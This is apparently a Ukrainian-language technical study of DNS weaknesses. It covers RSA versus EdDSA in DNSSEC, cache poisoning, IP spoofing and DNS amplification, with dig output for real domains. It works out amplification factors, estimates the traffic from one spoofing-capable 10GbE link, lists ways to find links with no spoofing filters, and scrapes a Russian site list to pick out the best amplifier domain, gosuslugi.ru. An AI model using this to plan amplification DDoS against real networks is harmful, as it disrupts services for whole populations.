Для великих n функція кількості простих чисел в проміжку між 1 та n (записується як $\pi(n)$) має порядок $n/\ln(n)$

Подвоївши довжину ключа інтуїтивно очікується n^2 комбінацій, а маємо $n^2/\ln(n^2)$, тобто у $2 \ln(n)$ менше разів. Чим далі збільшується довжина ключа RSA тим більша ймовірність що обране випадкове число не пройде перевірку на простоту (не абсолютно надійну, ймовірнісним методом).

Генерувати ключі стає складно (довго). На щастя це стало на заваді масовому використанню ключів довжиною 4096 біт, і масовому використанню таких товгих підписів.

Реальна криптографічна стійкість ключа заданої довжини це не просто кількість всіх можливих чисел, такої довжини, а саме кількість ключів що можуть бути згенеровані згідно даного алгоритму. Чим більшу кількість ключів треба відкинути, бо вони не задовольняють вимогам алгоритму, тим більше накопичується розбіжність між наочною довжиною ключа і його реальною криптографічною стійкістю.

Якщо для значень розміру множника близько млн прості числа це 75/1000, то число що розкладеться на саме 2 простих числа трапляється лише з ймовірністю $5625 / 1 \text{ млн}$, тобто 5,6 на 1000, 0,56%.

99,44% ключів є такими, що не відповідають умовам алгоритму. І це для довжини ключа лише 19 біт, зі збільшення довжини ключа статистика погіршується.

Альтернативою, яки може вирішити цю глибоку системну проблему є перехід на систему побудови хеша за допомогою еліптичних кривих.

Алгоритми побудовані на математиці еліптичних кривих в полях Галуа позбавлені цього недоліка — кожен набір цифр заданої довжини може бути валідним ключем шифрування, алгоритм Ed448 при довжині підпису в 56 байт має кріптографічний рівень безпеки на порядок більший, ніж RSA 3072 біт, з довжиною підписа 388 байт. 16 Таку велику різницю забезпечує окрім відсутності “поганих” ключів також і більша математична складність використовуваного незворотнього перетворення.

Масовий перехід на новітні алгоритми дозволить кратно зменшити довжину електронних підписів і закрити частину розглянутих нижче проблем. Поки ж люди обирають давно відомі і “перевірені часом” кріпто алгоритми.

Інертність спільноти в цьому питанні просто вражає — особисто я виступив на конференції UADOM, в 2011 році, коли урочисто генерувалися ключі DNSSEC для домена UA, з поясненням чим небезпечне використання RSA в DnsSec. Не отримав жодного голосу підтримки.

З 2015 року сформульований draft (чорновик) для rfc, після числених обговорень сформульований rfc8080 17 від лютого 2017 року, де EdDSA for DNSSEC визначено IETF як proposed standart але досі немає жодного ресолвера, серед тих що реєструвалися на rootcanary.org, що підтримував би цей алгоритм.

Щоправда і взагалі отримання підписів dnssec для доменів, навіть банківському секторі, відбувається без особливого ентузіазму. Введення dnssec було дещо сирію, але дієвою відповіддю на реальну загрозу, більше того — реально виконані атаки, що призвели до

колосальних збитків в банківському секторі. Суть атаки на систему dns пояснена в наступній главі.

Методика отруєння кеша DNS, ip-spoofing, dns-spoofing.

Кожен великий провайдер будує для клієнтів власний кешуючий DNS сервер, що зберігає відповіді по запитам клієнтів, особливо проміжні, на деякий час (в залежності від налаштувань авторитетного сервера, що підтримує роботу конкретного домена). І налаштування можуть цей час продовжити до дуже великих значень, аж кількох тижнів.

Якщо кеш пустий, або час зберігання його минув, а від користувача прийшов наступний запит — кешуючий сервер відправляє запит до авторитетного сервера, щоб отримати свіжі дані.

Розберемо це на конкретному прикладі:

```
dig A privat24.ua
=====

;; ANSWER SECTION:
privat24.ua.      60    IN     A      75.2.115.182
privat24.ua.      60    IN     A      99.83.246.51

;; AUTHORITY SECTION:
privat24.ua.      3600  IN     NS     ns-551.awsdns-04.net.
privat24.ua.      3600  IN     NS     ns-1264.awsdns-30.org.
privat24.ua.      3600  IN     NS     ns-1539.awsdns-00.co.uk.
privat24.ua.      3600  IN     NS     ns-279.awsdns-34.com.
```

Тут ми бачимо у відповіді 2 IP адреси, з часом зберігання в кеші лише 60 секунд, та список з 4-х авторитетних NS , до яких можна звертатися за додатковими даними про цей домен.

Тож для великого провайдера, рівня наприклад ukrtelecom буде працювати схема, що вдень його NS сервер звертається за оновленням даних щодо IP адреси домена privat.24 до одного з 4-х серверів кожні 60 секунд.

Між запитом та надходженням відповіді проходить дуже мало часу, як для людського сприйняття. Але для машини це істотний проміжок часу. Якщо зломисник починає бомбардувати кешуючий сервер ukrtelecom

такими відповідями, але з підміненою ір адресою в тілі відповіді, та з підробленим полем “зворотня адреса” в тілі UDP пакета, то є не нульова ймовірність, що цей пакет буде сприйнято за відповідь на запит (якщо запит випадково відправлявся саме до цього сервера, і підроблений пакет прийшов якраз між запитом, і справжньою відповіддю).

Підроблена відповідь потрапляє до кеша на кешуючому сервері великого провайдера. І в ній може бути підроблена не лише IP адреса, але й час зберігання цієї відповіді в кеші. Вона може бути збільшеною до години, і навіть більше.

Тож всі абоненти великого провайдера, що використовують його кешуючий DNS сервер на запит про адресу privat24.ua отримають фальшиву ір адресу, на якій розташована фейкова сторінка, що дозволяє збирати паролі.

В даному конкретному випадку залишаються додаткові лінії оборони: https 18, hsts 19, двохфакторна аутентифікація, та контроль ір адреси, яку складно підробити для tcp з'єднання.

Https має функціонал купівлі спеціальних дорогих сертифікатів безпеки, що підсвічують адресний рядок браузера синім або зеленим кольором. І відсутність цього зеленого тла має стати сигналом для користувача.

Але наразі українські банки на цьому економлять і обходяться без зеленого рядка.

Hsts є набором додаткових опцій і функціонала, пов'язаного з https. Як 2-х найбільш часто використовуваних можна виділити автоматичну переадресацію клієнта, що намагається використати не захищений http на захищене з'єднання, за допомогою відповідного http заголовка, та те що браузер запам'ятовує дані сертифіката безпеки по домену і його ключ, і у випадку зміни ключа — попереджає

користувача про небезпеку. Тож можна без будь-яких складнощів подовжувати дію сертифіката що вже використовується, але зміна ключа або зміна постачальника (видавця) сертифікату призведе до додаткових діалогових вікон в браузері відвідувача.

Наступним рубежем оброни є двохфакторна аутентифікація, але приват її через незадоволення рядових користувачів спростив до “ви підтверджуєти вхід до приват 24? натисніть 1”.

Тож припустимо що кеш вдалося отруїти, а сертифікат ssl згенерувати таким що браузер не видасть попередження (витоки сертифікатів з довірою, якими можна підписатися іноді трапляються) клієнт банку заходить на фейкову сторінку, і вводить там свій пароль

За допомогою цього паролю зловмисники тут же логіняться в банк, (припустимо що контроль ір не працює, це останній захистщо залишивася), і отримуємо класичну ситуацію MITM (це тип атаки, при якій зловмисник «стає посередині» між двома сторонами, що спілкуються, і непомітно перехоплює, змінює або підмінює дані.)

Для вирішення цієї проблеми після кількох вдалих випадків з астрономічними збитками, варто було повністю заборонити використовувати UDP, і перейти на використання TCP, принамні за замовчуванням для нових систем. Але вирішили піти складним шляхом — з’явився DNSsec. Який (за великим рахунком на щастя) не набув масового використання, і навіть там де він використовується — зазвичай обмежуються RSA 2048 біт.

Небезпечне покращення безпеки DNS №4 : DNSsec.

DNSsec базується на підписах, які можна перевірити кріптографічним чином, і кожен наступний DNS сервер в ієрархічному списку верифікується за допомогою підписів більш старшого.

Найстаршим в ієрархії є root — неписана крапка в кінці доменного імені, з запиту до рутових даних починається робота DNS сервера при першому увімкненні.

А ось приклад запиту до рутового сервера з приводу того що він знає про наш домен UA, з криптографічним підтвердженням:

```
# dig +dnssec SOA UA
=====
;; ANSWER SECTION:
UA.                10761 IN      SOA   in1.ns.UA. domain-master.cctld.UA. 2025112135 1818 909
3024000 2020
UA.                10761 IN      RRSIG SOA 13 1 10801 20251226174502 20251121161502 2952
ua.                cWwlhaSZ2ByCPd7T2DAhxhITL7LkhjZ35NH3kBCUCWX6USQrl+dJJ/2q
5yZV0H5Hd7sDzsV2aSO27Nyf+zZZBA==

;; AUTHORITY SECTION:
ua.                10761 IN      NS    pch.ns.UA.
ua.                10761 IN      NS    nn.ns.UA.
ua.                10761 IN      NS    rcz.ns.UA.
ua.                10761 IN      NS    cz.ns.UA.
ua.                10761 IN      NS    bg.ns.UA.
ua.                10761 IN      NS    in1.ns.UA.
ua.                10761 IN      NS    ho1.ns.UA.
ua.                10761 IN      RRSIG NS 13 1 10801 20251206181840 20251101164840 2952
ua.                04gk6NZMSPfJPbZ1GzafhENO27zpiup+3sfBuGygs/2cTHBOJglcw5ym
EDusUTApY9Hr0waYNkmcF7ZI7Q4IVg==

;; ADDITIONAL SECTION:
bg.ns.UA.          1087 IN      A      185.136.97.185
bg.ns.UA.          1087 IN      A      185.136.96.185
bg.ns.UA.          1087 IN      AAAA   2a06:fb00:1::4:185
bg.ns.UA.          1087 IN      AAAA   2a06:fb00:1::2:185
rcz.ns.UA.          8252 IN      A      193.46.128.10
rcz.ns.UA.          8252 IN      AAAA   2a02:850:ffe0::10
bg.ns.UA.          1087 IN      RRSIG  A 13 3 10801 20251206181840 20251101164840 2952 ua.
DZbCVP+6W+BWtcV1z07iVuYOZGoWZ3Dq7Jl6gHh5x+9W3gcG9fgukmkC
xJ3iW18t3g814SzM2nuvc9zi5u7cbQ==
bg.ns.UA.          1087 IN      RRSIG  AAAA 13 3 10801 20251206181840 20251101164840 2952
ua.                Gt1Hz5xIUluQi/WXT6zXxpS6SNDwverC+oQHIA33KJx1LgOGPa3WTG3h
/o9AZG+C4cctcypSc48mSFGyVmRx/Q==
rcz.ns.UA.          8253 IN      RRSIG  A 13 3 10801 20251206181840 20251101164840 2952 ua.
13ElpAGJj+DAh8LnF5sLGS90l1ZlenLZbUxIXdqITaOSY1iM0DaB0yVI S0mf5h5Sr5B3f4P0l1ezljMMBFNQjg==
rcz.ns.UA.          8253 IN      RRSIG  AAAA 13 3 10801 20251206181840 20251101164840 2952
ua.                UPjTFAYTntQkoEf5lwc+zsASXNSAK0VDKlp1Uw3/jLMEqhfa1kvSXWJb
dBbAFB3Q/BGepEvUl280AtzwYV7L7g==
```

Не заглиблюючись в технічні деталі просто звертаємо увагу на те, що відносно розмірів тексту запиту — відповідь отримана (як і в прикладах до того) в рази більшого розміру.

А відповідь окрім лаконічної інформації про власне ієрархію зон dns несе в собі підписи цієї зони (UA) які можна перевірити за допомогою ключів, що зберігаються в рутовій (кореневий зоні), та ключі, за допомогою яких можна перевірити підписи інших доменів в зоні UA.

Таким чином система DNS подовжує використовувати в якості транспортного протокола небезпечно легко підроблюваний UDP, при цьому з легкістю жертвує одним з головних здобутків оригінального стандарту dns — лаконічністю.

Використання DNS аутентифікації і справжні кейси небезпечної ампліфікації.

Цей механізм не описаний як чітко визначений rfc але масово використовується щоб довести що ви є власником доменного імені. Різноманітні сервіси просять (адміністратора, веб-мастера та інших людей причетних до домена) створити додаткове TXT поле в записи домена, для підтвердження якоїсь дії, пов'язаної з цим доменом. Прикладом таких дій може бути запит на доступ до статистики google analytics, або запит на отримання безкоштовного сертифікату безпеки letsencrypt.

Величезна проблема полягає в тому, що ніхто цих записів за собою не прибирає, після того як підтвердження вже відбулося.

Практичний приклад стану txt записів домену microsoft.com на поточний момент:

```
# dig txt microsoft.com
;; Truncated, retrying in TCP mode.

<<>> DiG 9.8.1-P1 <<>> txt microsoft.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 42401
;; flags: qr rd ra; QUERY: 1, ANSWER: 47, AUTHORITY: 4, ADDITIONAL: 2
```

;; QUESTION SECTION:
;microsoft.com.

IN TXT

;; ANSWER SECTION:

```

microsoft.com.      3600  IN      TXT      "d365mktkey=6358r1b7e13hox60tl1uagv14"
microsoft.com.      3600  IN      TXT      "linear-domain-verification=iuq6saifcnbe"
microsoft.com.      3600  IN      TXT      "docuSign=d5a3737c-c23c-4bd0-9095-d2ff621f2840"
microsoft.com.      3600  IN      TXT      "1password-site-
verification=35ZTURTFFFDC5BW7GFQKRJ77QM"
microsoft.com.      3600  IN      TXT      "airtable-
verification=79a09e4a8013ff5737798fb4ea88eee"
microsoft.com.      3600  IN      TXT      "d365mktkey=3l6dst9txazu0Qd2zu4135PUB4E35txLxyzJxjkPbsx"
microsoft.com.      3600  IN      TXT      "d365mktkey=8fEQahTresJms7tZGxGFr94T1zDz36oCbUt1LJc99mox"
microsoft.com.      3600  IN      TXT      "d365mktkey=Fu49WtSTeClkHtK7S14227RIVpGwwGrzEsO6RVs1I2Ax"
microsoft.com.      3600  IN      TXT      "d365mktkey=JlXV17lfZjyvWxNje1qiP390ACSKzTxo5mGqZ3V2BmYx"
microsoft.com.      3600  IN      TXT      "d365mktkey=PNcDqkW71x8VOUhcE96aGM4l5PYX1gnlRI6ieXUI5eMx"
microsoft.com.      3600  IN      TXT      "d365mktkey=QDa792dLCZhvaA0OCe2Hz6WTzmTssOp1snABhxWibhMx"
microsoft.com.      3600  IN      TXT      "d365mktkey=SxDf1EZxLvMwx6eEZUxzjFFgHoapF8DvtWEUjwq7ZTwx"
microsoft.com.      3600  IN      TXT      "d365mktkey=ZGFU0tIXPekPusNHPo5QQQWpVf0gic0xpuKroNy3NQEx"
microsoft.com.      3600  IN      TXT      "d365mktkey=heYmJ57sWrwMjCglG1xRwTREJrQokUIDtBcNfGuxoWQx"
microsoft.com.      3600  IN      TXT      "d365mktkey=j2qHWq9BHDaa3ZXZH8x64daJZxEWsFa0dxDeilxDoYYx"
microsoft.com.      3600  IN      TXT      "d365mktkey=wbU64GRacxVEQxwclSQnx0zisXLYzgUbfvsuflqO9ZUx"
microsoft.com.      3600  IN      TXT      "facebook-domain-
verification=fwzwhbbzwmg5fzgotc2go51olc3566"
microsoft.com.      3600  IN      TXT      "mixpanel-domain-verify=5803bc4c-5bb6-4ce1-8076-
753800097373"
microsoft.com.      3600  IN      TXT      "ms-domain-verification=1c4e4677-e58f-4117-8d61-
e5b2810388c2"
microsoft.com.      3600  IN      TXT      "ms-domain-verification=25524f4b-1476-489c-a086-
30f4c5016ecc"
microsoft.com.      3600  IN      TXT      "ms-domain-verification=478640ad-6524-43d5-86c4-
a914804b9e93"
microsoft.com.      3600  IN      TXT      "ms-domain-verification=561512fc-b4ba-4ac7-a946-
e464c8f49f1b"
microsoft.com.      3600  IN      TXT      "ms-domain-verification=65f91178-9dfb-41cd-929d-
08d1a38ed607"
microsoft.com.      3600  IN      TXT      "ms-domain-verification=d6545068-89f7-4432-b947-
0b137e8a9fe3"
microsoft.com.      3600  IN      TXT      "workplace-domain-
verification=lK0QDLk73xymCYMKUXNpfKAT8TY5Mx"
microsoft.com.      3600  IN      TXT      "sitecore-domain-
verification=1d46cb5467624e33a408d14324874088"
microsoft.com.      3600  IN      TXT      "google-site-verification=GfDnTUdATPsK1230J0mXbfsYw-
3A9BVMVaKSd4DcKgl"
microsoft.com.      3600  IN      TXT      "google-site-verification=M--CVfn_YwsV-
2FGbCp_HFaEj23BmT0cTF4l8hXgpmM"
microsoft.com.      3600  IN      TXT      "google-site-
verification=mEAmcTy1e8jIB9W6ENPk2GDg9hjuNytQQRGK0hPm0c"

```

```
microsoft.com.      3600  IN      TXT      "google-site-  
verification=pjPOauSPcrfXOZS9jnPPa5axowcHGCDAl1_86dCqFpk"  
microsoft.com.      3600  IN      TXT      "google-site-  
verification=uFg3wr5PWsK8lV029RoXXBBUW0_E6qf1WEWVHhetkOY"  
microsoft.com.      3600  IN      TXT      "google-site-verification=uhh5_jbxpcQgnb-  
A7gDlJlrr5Ef34lA2t2_BAveYpnk"  
microsoft.com.      3600  IN      TXT      "liveramp-site-  
verification=kxcV8fDH_FUNUZQEcAO6lwgim47f_hNLgMP4VG0PF_Q"
```

```

microsoft.com.      3600  IN      TXT      "hubspot-developer-
verification=OTQ5NGlwYWEtODNmZi00YWE1LTkyNmQtNDhjMDMxY2JjNDAX"
microsoft.com.      3600  IN      TXT      "hcp-domain-
verification=3ce174a8b9fba88909633ab13eb1d81ce0123454745d66e500052ed84b7248a1"
microsoft.com.      3600  IN      TXT      "v=MCPv1\;                                k=ecdsap384\;
p=An4mJIFLRys9h1EvjX18SJs5p1uEF5MHcs2JJLYPri48C5Qt9FpaZEM0sQTV4JvNYw=="
microsoft.com.      3600  IN      TXT      "v=MCPv1\;                                k=ecdsap384\;
p=AoHTKEi2W8L2P8cf9CoDiclxYiuttTkwtleFOqYCewBGoRZiiF+9/92saUkIDERGAA=="
microsoft.com.      3600  IN      TXT      "v=MCPv1\;                                k=ecdsap384\;
p=AqXeTHJ/1FCYeuvJ8dc1B+X3uHaa7m2W0s31vzL4opnrJISaBdtbWTY8Ti5WiZnu9Q=="
microsoft.com.      3600  IN      TXT      "v=MCPv1\;                                k=ecdsap384\;
p=As/XxnDWZFxFwHvRZj+HbG5/ImtAeablkiOWu1h7wCJQFAR216E9HoYQ5Hy6o7StoQ=="
microsoft.com.      3600  IN      TXT      "v=MCPv1\;                                k=ecdsap384\;
p=Asc8WWov6gsmCCzn4CSrwRuJlh5SqvaitKz/LITW+SD54ILC52wzcnWhITi416p2vw=="
microsoft.com.      3600  IN      TXT      "atlassian-domain-
verification=xvoaqRfxSg3PnlVnR4xCSOIkyw1Aln0MMxRiKXnwWroFG7vl76TUC8xYb03MwMXv"
microsoft.com.      3600  IN      TXT      "v=spf1                                include:_spf-a.microsoft.com      include:_spf-
b.microsoft.com include:_spf-c.microsoft.com include:_spf-ssg-a.msft.net include:_spf1-meo.microsoft.com -
all"
microsoft.com.      3600  IN      TXT      "MS=ms79629062"
microsoft.com.      3600  IN      TXT      "fg2t0gov9424p2tdcuo94goe9j"
microsoft.com.      3600  IN      TXT      "t7sebee51jrj7vm932k531hipa"
microsoft.com.      3600  IN      TXT      "_zx2p8gpzv720db2aqmozy4jhwk2nl43"
microsoft.com.      3600  IN      TXT      "d365mktkey=3uc1cf82cpv750lzk70v9bvf2"

;; AUTHORITY SECTION:
microsoft.com.      172800 IN      NS       ns1-39.azure-dns.com.
microsoft.com.      172800 IN      NS       ns3-39.azure-dns.org.
microsoft.com.      172800 IN      NS       ns2-39.azure-dns.net.
microsoft.com.      172800 IN      NS       ns4-39.azure-dns.info.

;; ADDITIONAL SECTION:
ns2-39.azure-dns.net. 3600  IN      A        150.171.16.39
ns2-39.azure-dns.net. 3600  IN      AAAA     2620:1ec:8ec:10::27

```

Різниця між розміром запиту і обсягом відповіді просто катастрофічна. Надалі цей випадок не розглядаємо лише тому, що фокус-групою для аналізу я обрав зону RU.

Ip spoofing та ампліфікація

Операційна система обмежує можливості рядового користувача при спробі його програм здійснювати мережеву активність лише наявними ір адресами, і може додатково обмежувати використовувані порти (протоколів TCP та UDP) пакетними фільтрами.

Але при використанні Linux систем з правами рута — оператор може сам задавати правила — додавати на інтерфейси додаткові ір адреси і використовувати їх для з'єднань.

А використання можливостей системного програмування на мовах C / CPP — остаточно знімають всі обмеження мережевої безпеки. Навіть можливостей python достатньо для практичної генерації описаних пакетів, тобто dns запитів, в яких в полі відправника стоїть spoofed ip.

Тож — маємо практичну можливість відправити UDP пакет в цілому, і dns запит в конкретно розглянутому випадку, з підконтрольного (з правами root) хоста, з будь-якою зворотною адресою.

Перший крок доставки його до адресата — гейтвей, або первинний шлюз. В більшості провайдерів на ньому пакет пройде перевірку на те, що його зворотня адреса не належить до ip пулу провайдера, і буде просто відкинутий (відфільтрований). Є два чітко визначених RFC 2827 - Network Ingress Filtering 23

Та RFC 3704 — *Ingress Filtering for Multihomed Networks*. 24

Але це не працює “з коробки”, особливо коли відбувається міжмережева взаємодія BGP (Border Gateway Protocol) 25, і вимагає інтелектуальної роботи від адміністратора мережі провайдера де така фільтрація не відбувається можна навіть знайти, не кажучи про складний варіант — злам провайдерської інфраструктури.

Також дієвими сценаріями отримання каналу без таких перевірок, тобто там де не виконується rfc 2927:

1. Просто перевірка вашого провайдера. Можливо якраз в ньому немає перевірки на спуфінг.

2. Горизонтальні зв'язки. Волонтерство та особисте знайомство, особливо дієво було в 2022 році.

2. Вертикальні зв'язки, особливо в тоталітарних країнах: якщо фсб сказало що треба, то провайдер відповість так точно.

3. Придбання товстого каналу з послугою BGP взаємодії в більшості випадків відбувається без накладання фільтрів для перевірки.

4. Злам провайдерської інфраструктури. Виходить далеко за межі цієї роботи.

Розділ 2

Проміжні результати аналізу

Продуктивність системи DNS продовжує забезпечуватися кратно збільшившимися потужностями комп'ютерних систем. Низька латентність закладена в UDP, і тут все залишилося без змін.

Доступність та відмовостійкість забезпечуються дублюванням серверів імен.

Лаконічність була відправлена на звалище історії з введенням криптографічних доповнень. І разом з цими криптографічними доповненнями з'явилася умовна можливість отримання ампліфікації udr атаки на серверах dns системи.

Але практичну можливість забезпечили letsencrypt, google та інші масово використовувані сервіси, завдяки яким в величезну кількість доменів були додані великі масиви txt записів з криптографічною інформацією, які можна отримати за допомогою єдиного короткого запиту.

Забезпечення цілісності та несуперечливості (автентичності) даних - dns вперше звернув увагу на цю вимогу саме в dnssec. Я вважав що багато років в систему dns закладена величезна діра в безпеці, яку повністю проігнорували навіть описуючи dnssec, в командах notify та axfr. Але більш глибоке читання rfc

Практичні підрахунки ампліфікації на прикладах.

Тож уявимо що в нас зараз є доступ до 10GbE підключення до мережі інтернет з можливістю ір спуфінга.

Маленький пакет в якому міститься запит до авторитетного DNS сервера відправляється в мережу з підробленою (фейковою) ір адресою, а той надсилає відповідь. Відповідь яка маршрутизується не до нашого хоста, а до хоста-жертви, адреса котрої була підроблена в початковому запиті.

Довжина рядка

```
#dig txt microsoft.com
```

співрозмірна з довжиною даних, що передаються в пакеті.

Додавання опції `+dnssec` в запит змінює в ньому лише 1 біт, не змінюючи довжину, і може додатково збільшити обсяги відповіді. У випадку домена `microsoft.com` підписи `dnssec` не використовуються, але і без цього на запит довжиною близько 23 символів отримана відповідь довжиною 4960 символів.

Тобто у випадку конкретно цього домена і запитів типу `txt` — ампліфікація досягає 215 разів.

Для більш глибокого і реального підрахунку — додаємо до розміру і передаваних і отриманих даних розмір заголовка UDP пакета, заголовка IP пакета, та розмір заголовка `etherframe`, які будуть послідовно додаватися до передаваних даних.

Заголовок UDP — 8 байт. IP — 20 байт. Заголовок `etherframe` — 18 байт, разом з преамбулою. $8+20+18=46$.

Тож 23 виростає до 69 байт в каналі `ethernet`, а реальна ампліфікація падає до 72.

Багато це чи мало? На поточний час на сайті точки обміном українським трафіком <https://ix.net.ua/> гордо заявлено про сумарний трафік що оброблюються в 1 Tbps, тобто 1024 Gbps. А повне завантаження каналу 10GbE таким шкідливим трафіком після ампліфікації в 72 рази дає потік в 720Gbps.

Тобто такий трафік, створений лише через одне (!!!) 10G підключення, може створити дуже великі проблеми в масштабах України. Масштаби інтернет-каналів Росії відрізняються від України орієнтовно в 4 рази.

Останні дані по пропускній здатності MSK-IX — 4884 Gbps середнє навантаження, 7748 — пікова пропускна здатність. Тож для створення глобальних проблем треба покрити на різницю між цими показниками (2864Gbps).

Список доменів ru, отримання фокус-групи.

Список доменів можна отримати за невеликі гроші в 9\$ - сервіс <https://domains-monitor.com/zone/ru/> обіцяє надати повний список з 5,8 млн доменів RU, але в 2022 році пішов іншим шляхом — тоді значно більше сайтів було в базі liveinternet, і багато хто отримував лічильник на свій сайт від цього рейтинга

<https://www.liveinternet.ru/rating/ru/#period=month;geo=ru;>

2803 сторінок по 30 сайтів на сторінку. Правда багато сайтів дублюються, наприклад різні сторінки користувачів livejournal живуть на одному домені.





Аналіз html кода сторінки показує що даних про сайти там немає, вони отримуються через додаткові аїх запити. Тож відкриваємо консоль браузера, розділ мережа, на сайті відкриваємо другу сторінку, в url з'являється змінна [page=2](#) , і відображаються позиції з 31 по 60, і розуміючи що дані щодо сайтів (назви, посилання) важать близько однієї машинописної сторінки (1-10KB) , і містить передану двійку або 31, швидко знаходимо потрібне посилання:

<https://www.liveinternet.ru/rating/ru//month.tsv?page=2>

ніякого додаткового захисту немає, і просто запусканий в циклі wget

швидко отримує повний список доменів, що беруть участь у рейтингу, і на яких були відвідування хоча б раз за останній місяць.

Дані отримані в форматі CSV і в подальшому легко аналізуються. От приклад отриманих даних:

kommersant	www.kommersant.ru	"Коммерсантъ"	Издательский дом	16649448	89	public	s
ren.tv	ren.tv/	Новости - наше призвание.	РЕН ТВ	16470105	92	public	s
championat.com	championat.com	Чемпионат: ведущий сайт о спорте					
16024994	74	public	s				
lmediainvest	lmediainvest.ru/	1MI - федеральный медиахолдинг					
15908099	86	public					
5-tv.ru	5-tv.ru/	Пятый канал	13313518	93	public	s	
ntv.ru	www.ntv.ru/	НТВ.ru - Новости, видео, прямой эфир телеканала НТВ					
13120752	88	public	s				
1000.menu	1000.menu/	 Кулинарные рецепты  1000.menu  					
12775663	82	public	s				
novorosinform.org	www.novorosinform.org/	Информационное агентство «Новороссия»	12693535	95	private	s	
kino-teatr.ru	www.kino-teatr.ru/	Кино-Театр.РУ - интервью, статьи, премьеры, новости кино и театра	12689986	68	public	s	
osnmedia.ru	www.osnmedia.ru/	Общественная Служба Новостей	11752265	92	private	s	
sport-express.ru	sport-express.ru/	СПОРТ-ЭКСПРЕСС	11742374	86	public	s	
VMRU	vm.ru	Вечерняя Москва - основные события дня, настоящее и будущее столицы.	11424373	93	private	s	
hsdigital/wn/woman	www.woman.ru/	Woman.ru Интернет для женщин					
10969825	77	public					
vedomosti.ru	vedomosti.ru/	Ведомости - ежедневная деловая газета					
10441940	82	private	s				
Bloknot-media	bloknot-media.ru	Блокнот Медиа - Сеть новостных порталов	10286461	90	public		
dzen.ru	dzen.ru/	дом дача огород	10004478	94	public		
Sportbox	www.sportbox.ru	Sportbox.ru	9546523	80	public	s	
vz.ru	vz.ru/	ВЗГЛЯД.РУ	9386978	90	private	s	
kp/kpall/family	www.kp.ru/family	Комсомольская правда: Дом и семья					
9356123	81	private	s				
Sport24	sport24.ru	Sport24	9312405	79	private		
78.ru	78.ru/	Городской портал	78.ru	9270118	94	private	s
Super_group_278	super.ru	Super.ru	9201735	91	private		
gastronom.ru	www.gastronom.ru/	Кулинарный портал "ГАСТРОНОМ"	9161030	75	private	s	
7days.ru	7days.ru/	7Дней.ру - Всё о звездах! Новости, интервью, фото и видео звезд	9000491	84	private	s	
radiol.ru	radiol.ru/	Радио 1	8923383	94	private		
action	www.glavbukh.ru/	<Актион-МЦФЭР> - издания для директоров, руководителей, главбухов	8691335	88	public	s	
rovar.ru	rovar.ru/	Все кулинарные рецепты - Повар.ру					
76	private	s					
prochepetsk.ru	prochepetsk.ru/	Про Город Кирово-Чепецк Свежие новости Кирово-Чепецка	8305634	67	private	s	
sibkray	sibkray.ru/	sibkrayru	8202693	85	public		
trashbox.ru	trashbox.ru/	Trashbox.ru: технологии + культура					
78	public						

На 2022 рік кількість доменів в рейтингу була значно більша, і була можливість отримати також “мертві душі” — домени на яких вже довго не було відвідувачів.

Статистичний аналіз проблеми

Під час аналізу наявної бази доменних імен в зоні RU, в кількості 75 тис доменів, рекордсменом по ампліфікації трафіка на запит

dig +dnssec TXT

виявився домен gosuslugi.ru

Ось відповідь на запит:

```
gosuslugi.ru.      599      IN        TXT       "v=spf1 mx a:mail.ntt.ru ip4:109.207.0.0/20 ip4:195.28.32.3 ip4:213.59.253.1
ip4:213.59.253.2 ip4:213.59.254.1 ip4:213.59.254.2 ip4:213.59.253.48 ip4:213.59.254.48 ip4:195.28.32.40 -all"
gosuslugi.ru.      599      IN        TXT       "_globalsign-domain-verification=9ZFAp0_-mYpVPR68JxxFXMhpS-
jy9XFt6UIPbO-OVV"
gosuslugi.ru.      599      IN        TXT       "_globalsign-domain-verification=NFJShsg6y-
QhYoWNAWg1z6wBbfhGTbMiPEsaNh1r1F"
gosuslugi.ru.      599      IN        TXT       "_globalsign-domain-verification=--
VNJf12X8NkcxuYkA74Oivp5rOF48Qtg7uKgZfZJN"
gosuslugi.ru.      599      IN        TXT       "_globalsign-domain-verification=T1Gsk9xcmq4iW3HRt-
BQXs8cF5WbxVbAgpTNQopiF6"
gosuslugi.ru.      599      IN        TXT       "_globalsign-domain-verification=HKkkRGDIYVLwOGGycndXO-
vc18FA5ZQD0pdHEhoGiG"
gosuslugi.ru.      599      IN        TXT       "_globalsign-domain-
verification=9rYAdYKQF4AMQ8golHUKkfIfWeGTIb7BBOs6-aJqIv"
gosuslugi.ru.      599      IN        TXT       "_globalsign-domain-verification=_F-
If9mlGb85xLkGSjCCO_IjiHxSU8fVSQRtyK9L1f"
gosuslugi.ru.      599      IN        TXT       "_globalsign-domain-verification=HDx13e3k6kgWg9km65xMNxW1od8p7N-
Ho4MLc4BpPV"
gosuslugi.ru.      599      IN        TXT       "_globalsign-domain-
verification=PTxDZE8MkHxGt4_O2Pq8vcAC9d1gVpBiipcqt8vKKH"
gosuslugi.ru.      599      IN        TXT       "_globalsign-domain-
verification=LJLms53x0vj0ELIvuAWgVQhibMIVn0CSAhQRH1Qc3P"
gosuslugi.ru.      599      IN        TXT       "_globalsign-domain-
verification=IljdlqDucDeL50opoxSociDLZjkIMUu5f6oMP0U6L"
gosuslugi.ru.      599      IN        TXT       "google-site-
verification=sEP55rqJqRgqyS8gkR48f75z74rwykT_NBHKUVXwh14"
gosuslugi.ru.      599      IN        TXT       "_globalsign-domain-verification=bgiSm7MjR-
OazZTTnc8tITsR1oUPO6C5jphR8PG1vV"
gosuslugi.ru.      599      IN        TXT       "_globalsign-domain-verification=rHo-SVw4IGNW-Q-
kHNzyg0PX7QZZq0WU6AeJe8P4gM"
```



```
gosuslugi.ru.      599      IN      TXT      "_globalsign-domain-verification=8DQS1nCTa57Om-  
ehx1XDr8HCMkYZOT0yZD1SDXqWJt"  
gosuslugi.ru.      599      IN      TXT      "_globalsign-domain-  
verification=2dVf6wzbXernRmbbTYQMJTU0yeRqKexLgzjC5NdRtf"
```

Як бачимо у відповіді відсутній `dnssec`, частину відповіді складає рядок з даними антиспама SPF, а більша частина — залишені рядки що використовувалися для підтвердження прав на домен, і наразі вже просто непотрібні. Ампліфікація по цьому запиту — близько 34 раз. І використовується 4 авторитетних DNS сервери.

Чи все насправді настільки погано

Розробники RFC та програмісти найбільш старого і досі популярного DNS сервера `bind` звернули увагу на цю проблему і ввели 2 змінні — `max-udp-size` та `edns-udp-size`.

